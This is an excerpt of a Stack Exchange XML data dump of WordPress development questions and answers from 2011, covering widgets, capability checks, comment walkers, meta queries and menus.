  <row Id="21940" PostTypeId="2" ParentId="21927" CreationDate="2011-07-04T14:10:19.743" Score="0" ViewCount="" Body="&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/is_user_logged_in&quot; rel=&quot;nofollow&quot;&gt;Test&lt;/a&gt; if the current visitor is logged in and registered as user&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// If the user's not registered &amp;amp; logged in, abort&#xA;if ( ! is_user_logged_in() )&#xA;    return;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/current_user_can_for_blog&quot; rel=&quot;nofollow&quot;&gt;Test&lt;/a&gt; if the currently logged in user has a capability for the specific blog&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$blog_id = ''; // You need to retrieve and set that here&#xA;// If the currently logged in user hasn't got the 'manage_options' cap - which is assigned to admins and above - abort&#xA;if ( ! current_user_can_for_blog( $blog_id, 'manage_options' ) )&#xA;    return;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If it's not necessary to check for a specific blog, we can test just the capability.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// If the currently logged in user hasn't got the 'manage_options' cap - which is assigned to admins and above - abort&#xA;if ( ! current_user_can( 'manage_options' ) )&#xA;    return;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/your-friendly-current-user-deamon/&quot; rel=&quot;nofollow&quot;&gt;This&lt;/a&gt; (old and not maintained) plugin gives you better in-depth look at what users deliver.&lt;/p&gt;&#xA;" OwnerUserId="385" LastActivityDate="2011-07-04T14:10:19.743" CommentCount="1" />
  <row Id="21941" PostTypeId="1" AcceptedAnswerId="21945" CreationDate="2011-07-04T14:27:19.997" Score="0" ViewCount="31" Body="&lt;p&gt;I have created a widget that have to run some code using the wp_footer hook as well. But if you extend the WP_Widget, the wp_footer runs twice! Has someone already past for the same issue?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is an example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/*&#xA;Plugin Name: Test&#xA;Description: Test Plugin by Romulo De Lazzari&#xA;Version: 1.0&#xA;Author: Romulo De Lazzari&#xA;*/&#xA;&#xA;new Test();&#xA;&#xA;class Test extends WP_Widget{&#xA;&#xA;    public function __construct(){&#xA;&#xA;        parent::__construct('test-widget', 'Test Widget');      &#xA;&#xA;        add_action('widgets_init', array($this, 'register_my_widget'));&#xA;        add_action('wp_footer', array($this, 'do_something'));&#xA;    }&#xA;&#xA;    public function register_my_widget(){&#xA;        return register_widget(&quot;Test&quot;);&#xA;    }&#xA;&#xA;    public function do_something(){&#xA;        echo &quot;&amp;lt;p&amp;gt;Hello! This is a test!&amp;lt;/p&amp;gt;&quot;;&#xA;    }&#xA;&#xA;    public function widget($args, $instance) {&#xA;&#xA;    }&#xA;&#xA;    public function form($instance){&#xA;&#xA;    }&#xA;&#xA;    public function update($new_instance, $old_instance){&#xA;&#xA;    }&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The method do_something() is running twice here, if I take off the &quot;Widget part&quot; it runs well. Could someone help me?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance,&#xA;Romulo&lt;/p&gt;&#xA;" OwnerUserId="6725" LastActivityDate="2011-07-04T14:58:18.517" Title="wp_footer hook running twice" Tags="&lt;plugins&gt;&lt;widgets&gt;&lt;footer&gt;" AnswerCount="1" />
  <row Id="21943" PostTypeId="1" CreationDate="2011-06-26T09:34:52.567" Score="0" ViewCount="36" Body="&lt;p&gt;I was wondering if there was any way to make a custom loop that divides posts into months. I would use it on the Archive page to list all posts within a given category with a title that indicated what month it was posted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Like this:&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;January:&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;post1&#xA;post2&#xA;post3&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;February:&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;post4&#xA;post5&#xA;post6&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help would be appreciated. Thanks!&lt;/p&gt;&#xA;" LastActivityDate="2011-07-04T16:11:20.610" Title="How do i create a loop that list and divide posts into months?" Tags="&lt;loops&gt;" AnswerCount="1" />
  <row Id="21944" PostTypeId="2" ParentId="20527" CreationDate="2011-07-04T14:53:03.467" Score="2" ViewCount="" Body="&lt;p&gt;Try the following custom Comment Walker class. The walker keep tracks for print index in a global variable named &lt;code&gt;$current_comment_print_index&lt;/code&gt;; which is intialized in the &lt;code&gt;paged_walk&lt;/code&gt; function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can print global variable &lt;code&gt;$current_comment_print_index&lt;/code&gt; to show the current printed comment number.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA;/*&#xA;Plugin Name: Comment Count Walker for WPSE 20527&#xA;Author: Hameedullah Khan&#xA;Author URI: http://hameedullah.com&#xA;Version: 0.1&#xA; */&#xA;&#xA;class CC_Custom_Walker_Comment extends Walker_Comment {&#xA;&#xA;    function paged_walk( $elements, $max_depth, $page_num, $per_page ) {&#xA;        global $current_comment_print_index;&#xA;        $current_comment_print_index = 0;&#xA;&#xA;        /* sanity check */&#xA;        if ( empty($elements) || $max_depth &amp;lt; -1 )&#xA;            return '';&#xA;&#xA;        $args = array_slice( func_get_args(), 4 );&#xA;        $output = '';&#xA;&#xA;        $id_field = $this-&amp;gt;db_fields['id'];&#xA;        $parent_field = $this-&amp;gt;db_fields['parent'];&#xA;&#xA;        $count = -1;&#xA;        if ( -1 == $max_depth )&#xA;            $total_top = count( $elements );&#xA;        if ( $page_num &amp;lt; 1 || $per_page &amp;lt; 0  ) {&#xA;            // No paging&#xA;            $paging = false;&#xA;            $start = 0;&#xA;            if ( -1 == $max_depth )&#xA;                $end = $total_top;&#xA;            $this-&amp;gt;max_pages = 1;&#xA;        } else {&#xA;            $paging = true;&#xA;            $start = ( (int)$page_num - 1 ) * (int)$per_page;&#xA;            $end   = $start + $per_page;&#xA;            if ( -1 == $max_depth )&#xA;                $this-&amp;gt;max_pages = ceil($total_top / $per_page);&#xA;        }&#xA;&#xA;        // flat display&#xA;        if ( -1 == $max_depth ) {&#xA;            if ( !empty($args[0]['reverse_top_level']) ) {&#xA;                $elements = array_reverse( $elements );&#xA;                $oldstart = $start;&#xA;                $start = $total_top - $end;&#xA;                $end = $total_top - $oldstart;&#xA;            }&#xA;&#xA;            if ( $paging ) {&#xA;                // HK: if paging enabled and its a flat display.&#xA;                // HK: mark the current print index from page number * comments per page&#xA;                $current_comment_print_index = ( (int) $page_num - 1 ) * $per_page;&#xA;            }&#xA;&#xA;            $empty_array = array();&#xA;            foreach ( $elements as $e ) {&#xA;                $count++;&#xA;                if ( $count &amp;lt; $start )&#xA;                    continue;&#xA;                if ( $count &amp;gt;= $end )&#xA;                    break;&#xA;                $this-&amp;gt;display_element( $e, $empty_array, 1, 0, $args, $output );&#xA;            }&#xA;            return $output;&#xA;        }&#xA;&#xA;        /*&#xA;         * separate elements into two buckets: top level and children elements&#xA;         * children_elements is two dimensional array, eg.&#xA;         * children_elements[10][] contains all sub-elements whose parent is 10.&#xA;         */&#xA;        $top_level_elements = array();&#xA;        $children_elements  = array();&#xA;        foreach ( $elements as $e) {&#xA;            if ( 0 == $e-&amp;gt;$parent_field )&#xA;                $top_level_elements[] = $e;&#xA;            else&#xA;                $children_elements[ $e-&amp;gt;$parent_field ][] = $e;&#xA;        }&#xA;&#xA;        $total_top = count( $top_level_elements );&#xA;        if ( $paging )&#xA;            $this-&amp;gt;max_pages = ceil($total_top / $per_page);&#xA;        else&#xA;            $end = $total_top;&#xA;&#xA;        if ( !empty($args[0]['reverse_top_level']) ) {&#xA;            $top_level_elements = array_reverse( $top_level_elements );&#xA;            $oldstart = $start;&#xA;            $start = $total_top - $end;&#xA;            $end = $total_top - $oldstart;&#xA;        }&#xA;        if ( !empty($args[0]['reverse_children']) ) {&#xA;            foreach ( $children_elements as $parent =&amp;gt; $children )&#xA;                $children_elements[$parent] = array_reverse( $children );&#xA;        }&#xA;&#xA;        foreach ( $top_level_elements as $e ) {&#xA;            $count++;&#xA;&#xA;            // HK: current iteration index, will be added to global index&#xA;            // NOTE: will only be added to global index if already printed&#xA;            $iteration_comment_print_index = 1;&#xA;            // HK: count of current iteration children ( includes grand children too )&#xA;            $iteration_comment_print_index += $this-&amp;gt;count_children( $e-&amp;gt;comment_ID, $children_elements );&#xA;&#xA;            //for the last page, need to unset earlier children in order to keep track of orphans&#xA;            if ( $end &amp;gt;= $total_top &amp;amp;&amp;amp; $count &amp;lt; $start )&#xA;                    $this-&amp;gt;unset_children( $e, $children_elements );&#xA;&#xA;            if ( $count &amp;lt; $start ) {&#xA;                // HK: if we have already printed this top level comment&#xA;                // HK: then just add the count (including children) to global index and continue&#xA;                $current_comment_print_index += $iteration_comment_print_index;&#xA;                continue;&#xA;            }&#xA;&#xA;            if ( $count &amp;gt;= $end )&#xA;                break;&#xA;&#xA;            $this-&amp;gt;display_element( $e, $children_elements, $max_depth, 0, $args, $output );&#xA;        }&#xA;&#xA;        if ( $end &amp;gt;= $total_top &amp;amp;&amp;amp; count( $children_elements ) &amp;gt; 0 ) {&#xA;            $empty_array = array();&#xA;            foreach ( $children_elements as $orphans )&#xA;                foreach( $orphans as $op )&#xA;                    $this-&amp;gt;display_element( $op, $empty_array, 1, 0, $args, $output );&#xA;        }&#xA;&#xA;        return $output;&#xA;    }&#xA;&#xA;    function display_element( $element, &amp;amp;$children_elements, $max_depth, $depth=0, $args, &amp;amp;$output ) {&#xA;                global $current_comment_print_index;&#xA;&#xA;        if ( !$element )&#xA;            return;&#xA;&#xA;                // increment for current comment we are printing&#xA;                $current_comment_print_index += 1;&#xA;&#xA;        parent::display_element( $element, $children_elements, $max_depth, $depth, $args, $output );&#xA;    }&#xA;&#xA;        function count_children( $comment_id, $children_elements ) {&#xA;            $children_count = 0;&#xA;            if ( isset( $children_elements[$comment_id] ) ) {&#xA;                $children_count = count( $children_elements[$comment_id] );&#xA;                foreach( $children_elements[$comment_id] as $child ) {&#xA;                    $children_count += $this-&amp;gt;count_children( $child-&amp;gt;comment_ID, $children_elements );&#xA;                }&#xA;            }&#xA;            return $children_count;&#xA;        }&#xA;&#xA;}&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5337" LastActivityDate="2011-07-04T14:53:03.467" CommentCount="2" />
  <row Id="21945" PostTypeId="2" ParentId="21941" CreationDate="2011-07-04T14:58:18.517" Score="0" ViewCount="" Body="&lt;p&gt;That code doesn't look like it conforms to the current Widgets API. Perhaps your problem is related?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First potential issue: your class &lt;code&gt;test&lt;/code&gt; should be &lt;code&gt;plugin-slug-test&lt;/code&gt;, in order to avoid naming conflicts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Second potential issue: the only functions inside of your WP_Widget extending class should be:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;function plugin-slug-test() {}&lt;/li&gt;&#xA;&lt;li&gt;function widget( $args, $instance ) {}&lt;/li&gt;&#xA;&lt;li&gt;function update( $new_instance, $old_instance ) {}&lt;/li&gt;&#xA;&lt;li&gt;function form( $instance ) {}&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;You need to move your &lt;code&gt;add_action()&lt;/code&gt; calls &lt;em&gt;outside&lt;/em&gt; of your Widget class.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Third potential issue: why do you declare all of your Widget class functions to be &lt;em&gt;public&lt;/em&gt;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Fourth potential issue: I don't think you need to declare &lt;code&gt;new Test();&lt;/code&gt; for a Widget class.&lt;/p&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-07-04T14:58:18.517" CommentCount="1" />
  <row Id="21946" PostTypeId="2" ParentId="3520" CreationDate="2011-07-04T15:21:33.267" Score="0" ViewCount="" Body="&lt;p&gt;try this ()found this in some plugin code):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// set post ID if is a revision&#xA;if (wp_is_post_revision($post_id)) {&#xA;    $post_id = wp_is_post_revision($post_id);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="6726" LastActivityDate="2011-07-04T15:21:33.267" />
  <row Id="21947" PostTypeId="2" ParentId="6669" CreationDate="2011-07-04T15:32:40.647" Score="0" ViewCount="" Body="&lt;p&gt;Well.. you could add more RAM. 32Mb? Really?&lt;/p&gt;&#xA;" OwnerUserId="6727" LastActivityDate="2011-07-04T15:32:40.647" />
  <row Id="21948" PostTypeId="2" ParentId="21920" CreationDate="2011-07-04T15:32:49.990" Score="1" ViewCount="" Body="&lt;p&gt;try the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$custom_admin_mb = new WPAlchemy_MetaBox(array(&#xA;    'id' =&amp;gt; '_custom_admin_meta',&#xA;    'title' =&amp;gt; 'Admin only',&#xA;    'template' =&amp;gt; get_stylesheet_directory() . '/custom/admin_meta.php',&#xA;    'output_filter' =&amp;gt; 'my_output_filter',&#xA;));&#xA;&#xA;function my_output_filter() {&#xA;    if (current_user_can('administrator')) return true;&#xA;    return false;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="466" LastActivityDate="2011-07-04T15:32:49.990" CommentCount="1" />
  <row Id="21949" PostTypeId="1" CreationDate="2011-07-04T15:59:35.687" Score="0" ViewCount="66" Body="&lt;p&gt;I've created a custom post type called 'properties' with custom meta boxes of 'price' and 'rooms'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a custom loop-property-archive.php to display the properties.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I would love to have is a method to sort the properties based on the meta data from those two meta boxes. Ideally I would have a drop-down called 'sort by', with the options of 'price asc.', 'price desc.', 'rooms asc.', and 'rooms desc.'. When the user selects an option the page is re-sorted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can currently query by custom taxonomies, which creates a URL like: mysite.com/?post_type=properties&amp;amp;area=high-ridge&amp;amp;university=birmingham. I need to be able to filter that page or any other combination of area and university. Therefore building individual templates with custom queries is out of the question.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tested out appending meta_key=_price&amp;amp;orderby=meta_value to the URL but that doesn't work. Any ideas why?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm open to server or client side suggestions. Server may be better because if there is pagination involved I think that would be handled better. Obviously client side has the advantage of no page refreshes though.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="6681" LastEditorUserId="6681" LastEditorDisplayName="" LastEditDate="2011-07-05T10:09:17.553" LastActivityDate="2011-07-05T10:09:17.553" Title="How can I sort my loop based on meta data, using a form?" Tags="&lt;theme-development&gt;&lt;loop&gt;&lt;post-meta&gt;&lt;sort&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="21950" PostTypeId="2" ParentId="21943" CreationDate="2011-07-04T16:11:20.610" Score="1" ViewCount="" Body="&lt;p&gt;you could do this in any loop by checking the current post's published month, and printing it when it changes:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;// set current month to that of first post, and print it.&#xA;$current_month = get_the_time('F');&#xA;echo $current_month;&#xA;&#xA;while (have_posts()) : the_post();&#xA;&#xA;    // check each subsequent post to see if the month is the same&#xA;    // or has changed and needs to be printed:&#xA;    $this_month = get_the_time('F');&#xA;    if( $this_month!=$current_month ):&#xA;        $current_month = $this_month;&#xA;        echo $current_month;&#xA;    endif;&#xA;&#xA;    // output data for the post&#xA;    the_title();&#xA;&#xA;endwhile;&#xA;&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4771" LastActivityDate="2011-07-04T16:11:20.610" />
  <row Id="21951" PostTypeId="2" ParentId="21949" CreationDate="2011-07-04T16:31:48.080" Score="1" ViewCount="" Body="&lt;p&gt;This should help: &lt;a href=&quot;http://wordpress.org/support/topic/custom-select-query-sort-by-meta-value-within-category&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/support/topic/custom-select-query-sort-by-meta-value-within-category&lt;/a&gt; (look for the posts from user &lt;strong&gt;t31os&lt;/strong&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also this: &lt;a href=&quot;http://codex.wordpress.org/Template_Tags/query_posts#Passing_variables_to_query_posts&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Template_Tags/query_posts#Passing_variables_to_query_posts&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2637" LastActivityDate="2011-07-04T16:31:48.080" CommentCount="1" />
  <row Id="21952" PostTypeId="1" AcceptedAnswerId="21955" CreationDate="2011-07-04T16:34:02.653" Score="1" ViewCount="136" Body="&lt;p&gt;I have posted this on StackOverflow too, not sure if that's allowed - if not let me know and I'll remove one (I don't want to look like I'm spamming). Anyway....&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a custom post type and have used the Verve Meta Boxes plugin to create some custom meta values for the post type.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The meta box is called 'Subjects' and has a checkbox list of subjects to assign values to it. For example, I have ticked Math, English and Science.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I want to perform a WP_Query which will take an array of subjects selected by the user as an array, compare those subjects to those selected for the custom post type, and return posts if any of them match.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the code so far:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$subjects_array = explode(&quot;_&quot;, $_GET[&quot;subjects&quot;]);&#xA;&#xA;$args = array(&#xA;            'post_status' =&amp;gt; 'publish',&#xA;            'post_type' =&amp;gt; 'any',&#xA;            'meta_query' =&amp;gt; array(&#xA;&#xA;         // Not sure what type of meta query to do   &#xA;&#xA;            )&#xA;        );&#xA;&#xA;&#xA;$query = new WP_Query($args);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To cut a long story short, I just need to know if there's a way to perform a meta_query which will compare an array against whatever format the data in the meta box is in?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If this is not possible, I just need to know then I'll look at a different way of doing it, but I'm thinking there's perhaps some meta_query ability I don't know about.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help would be much appreciated.&lt;/p&gt;&#xA;" OwnerUserId="5590" LastActivityDate="2011-07-04T17:33:00.257" Title="WP_Query with checkbox meta_query" Tags="&lt;wp-query&gt;&lt;metabox&gt;&lt;meta-query&gt;" AnswerCount="1" />
  <row Id="21953" PostTypeId="1" AcceptedAnswerId="21954" CreationDate="2011-07-04T16:52:28.487" Score="0" ViewCount="36" Body="&lt;p&gt;i need a solid solution for checking if a post has pagination or not, regardless of the number of current page in the pagination, and even if the post is in the first page of the pagination.&#xA;the check is inside the loop.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks.&lt;/p&gt;&#xA;" OwnerUserId="3603" LastActivityDate="2011-07-04T16:58:27.633" Title="how to know if the post has pagination (&lt;!--nextpage--&gt;) or not" Tags="&lt;posts&gt;&lt;pagination&gt;&lt;conditional-content&gt;&lt;single&gt;" AnswerCount="1" />
  <row Id="21954" PostTypeId="2" ParentId="21953" CreationDate="2011-07-04T16:58:27.633" Score="2" ViewCount="" Body="&lt;p&gt;Just check for the global &lt;code&gt;$numpages&lt;/code&gt; variable:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA;global $numpages;&#xA;if ( is_singular() &amp;amp;&amp;amp; $numpages &amp;gt; 1 ) {&#xA;    // This is a single post&#xA;    // and has more than one page;&#xA;    // Do something.&#xA;}&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-07-04T16:58:27.633" CommentCount="1" />
  <row Id="21955" PostTypeId="2" ParentId="21952" CreationDate="2011-07-04T17:33:00.257" Score="2" ViewCount="" Body="&lt;p&gt;Take a look at the &lt;a href=&quot;http://codex.wordpress.org/Class_Reference/WP_Query#Custom_Field_Parameters&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;codex&lt;/strong&gt;&lt;/a&gt; for a better understanding of queries of custom fields but it should look something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$subjects_array = explode(&quot;_&quot;, $_GET[&quot;subjects&quot;]);&#xA;&#xA;$args = array(&#xA;    'post_status' =&amp;gt; 'publish',&#xA;    'post_type' =&amp;gt; 'any',&#xA;    'meta_query' =&amp;gt; array(&#xA;         array(&#xA;            'key' =&amp;gt; 'field_name',&#xA;            'value' =&amp;gt; $subjects_array,&#xA;            'compare' =&amp;gt; 'IN'&#xA;        ) &#xA;    )&#xA;);&#xA;&#xA;&#xA;$query = new WP_Query($args);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-07-04T17:33:00.257" CommentCount="2" />
  <row Id="21956" PostTypeId="1" CreationDate="2011-06-07T19:47:01.667" Score="0" ViewCount="53" Body="&lt;p&gt;I try to create a website using Wordpress theme Weaver and would like to fix one sidebar widget in a vertical position, but at a defined margin to the content area, i.e. scrolling horizontally. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I used the command &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;secondary {&#xA;  position: fixed; &#xA;  top: 122px; &#xA;  width: 192px; &#xA;  float: left; &#xA;  margin-left: 774px;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;secondary&lt;/code&gt; is the widget area. Its fine as long as the browser window is not scrolled horizontally.&lt;/p&gt;&#xA;" LastActivityDate="2011-07-04T18:06:09.980" Title="How to create a fixed vertical position and scrolling horzontal position of a sidebar widget?" Tags="&lt;css&gt;" AnswerCount="0" />
  <row Id="21959" PostTypeId="1" CreationDate="2011-07-04T18:48:01.523" Score="0" ViewCount="122" Body="&lt;p&gt;Title says it all, I pretty much just want to put a dropdown list on the front end that will list all the posts of custom post type 'agent', preferably in alphabetical order, and go to that post when user clicks on it.&lt;/p&gt;&#xA;" OwnerUserId="4090" LastActivityDate="2011-07-05T04:57:16.850" Title="Front End Dropdown Showing All Custom Post Type 'Agent'" Tags="&lt;custom-post-types&gt;&lt;dropdown&gt;" AnswerCount="1" />
  <row Id="21960" PostTypeId="1" AcceptedAnswerId="21961" CreationDate="2011-07-04T19:00:34.843" Score="0" ViewCount="69" Body="&lt;p&gt;Why is my table row background image not appearing in Wordpress.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is the stylesheet for the theme suppressing it in some way and if so, how can one override that to make the image show, or is there some other fault causing it not to appear?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note the other image in the table does display properly so the path to the files seems to work ok.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;table width=&quot;250&quot; height=&quot;200&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; border=&quot;1&quot;&amp;gt;&#xA;&amp;lt;tr&amp;gt;&#xA;    &amp;lt;td WIDTH=&quot;250&quot; HEIGHT=&quot;82&quot; colspan=&quot;3&quot;&amp;gt;&amp;lt;img src=&quot;/wp-content/plugins/xxxxxxwidget/image1.png&quot;&amp;gt;&#xA;        &amp;lt;/td&amp;gt;&#xA;&amp;lt;/tr&amp;gt;&#xA;&amp;lt;tr&amp;gt;&#xA;    &amp;lt;td style=&quot;background-image:url(/wp-content/plugins/xxxxxxwidget/image2.png) no-repeat center;&quot; WIDTH=&quot;250&quot; HEIGHT=&quot;45&quot; colspan=&quot;3&quot;&amp;gt;&#xA;        &amp;lt;/td&amp;gt;&#xA;    &amp;lt;/tr&amp;gt;&#xA;&amp;lt;/table&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any suggestions?&lt;/p&gt;&#xA;" OwnerUserId="6732" LastActivityDate="2011-07-04T21:02:41.940" Title="Why is my table background image not showing in wordpress?" Tags="&lt;image&gt;" AnswerCount="2" />
  <row Id="21961" PostTypeId="2" ParentId="21960" CreationDate="2011-07-04T19:05:21.603" Score="0" ViewCount="" Body="&lt;p&gt;What does Firebug or Chrome Developer Tools report on the rendered background image URL? Does it return a 404?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try changing this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;style=&quot;background-image:url(/wp-content/plugins/xxxxxxwidget/image2.png)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;style=&quot;background-image:url(&amp;lt;?php echo wp_plugins_dir(); ?&amp;gt;/xxxxxxwidget/image2.png)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-07-04T19:05:21.603" CommentCount="1" />
  <row Id="21962" PostTypeId="1" CreationDate="2011-07-04T19:20:03.083" Score="0" ViewCount="57" Body="&lt;p&gt;Before putting a lot of effort in this, just to find out it's not possible:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let's say I have two different categories and I want the user&#xA;to be locked in one of them after choosing it from a menu-point. If&#xA;someone has choosen, e.g. 'announcements', I want Wordpress to do&#xA;like there are only posts of this category and ignore the rest.&#xA;Or even better, is there a way to divide categories into different blocks&#xA;and use them separately? Would this be a job for link-categories?&lt;/p&gt;&#xA;" OwnerUserId="6730" LastActivityDate="2011-08-08T11:49:04.100" Title="separate posts to have (kind of) 2 blogs?" Tags="&lt;categories&gt;&lt;best-practices&gt;&lt;link-category&gt;" AnswerCount="2" />
  <row Id="21963" PostTypeId="1" CreationDate="2011-07-04T19:31:58.587" Score="0" ViewCount="16" Body="&lt;p&gt;I have a question regarding content types. I have database with tables and fields that I want to import to the content types I have created. So for example I have a table called horses with fields (such as 'birth, sire, dam, colour etc.'). I have looked at importing this table as csv or xml but Im not sure how to get it to import into the new content types I create.&lt;/p&gt;&#xA;" OwnerUserId="6734" LastActivityDate="2011-07-04T19:31:58.587" Title="Import database table and field to custom content types" Tags="&lt;custom-post-types&gt;" />
  <row Id="21964" PostTypeId="1" CreationDate="2011-07-03T17:26:02.527" Score="1" ViewCount="29" Body="&lt;p&gt;In my template I'm using calls like this to output some custom menus: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php wp_nav_menu(array('container_class' =&amp;gt; 'secondary-navigation', 'theme_location' =&amp;gt; 'secondary')); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Ever since upgrading to WordPress 3.1.4 I get the full list of pages output on instead of the custom menu&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've seen fixes (via google) saying I should add the following to fix this:  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;'fallback_cb' =&amp;gt; false,&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;While I understand why this might fix things for some people, when I do the menu doesn't output at all (not just unstyled content, no html is echoed).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My theme is heavily based on the twentyten default theme (from a code point of view), so I guess my question is does anyone have a fix which doesn't involve setting the fallback callback to false...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And/or does anyone know if this issue also exists in the latest RC for the new version?&lt;/p&gt;&#xA;" OwnerUserId="6915" LastEditorUserId="3966" LastEditorDisplayName="" LastEditDate="2011-09-03T14:26:54.580" LastActivityDate="2011-09-03T14:26:54.580" Title="Wordpress Custom Menus Issue" Tags="&lt;custom-menus&gt;&lt;callbacks&gt;" AnswerCount="1" />
  <row Id="21965" PostTypeId="1" AcceptedAnswerId="21989" CreationDate="2011-07-04T19:43:23.247" Score="2" ViewCount="31" Body="&lt;p&gt;Pretty much as the title says, I want to use the &quot;link&quot; button from the HTML mode in the Visual Mode in the WYSIWYG editor (the link/unlink in visual is to &quot;advanced&quot; for my liking). Is this possible without too much of a hassle?&lt;/p&gt;&#xA;" OwnerUserId="2830" LastActivityDate="2011-07-05T02:48:54.650" Title="WYSIWYG – Getting the &quot;link&quot; button from HTML mode in Visual mode" Tags="&lt;admin&gt;&lt;tinymce&gt;&lt;wysiwyg&gt;&lt;link&gt;&lt;buttons&gt;" AnswerCount="1" />
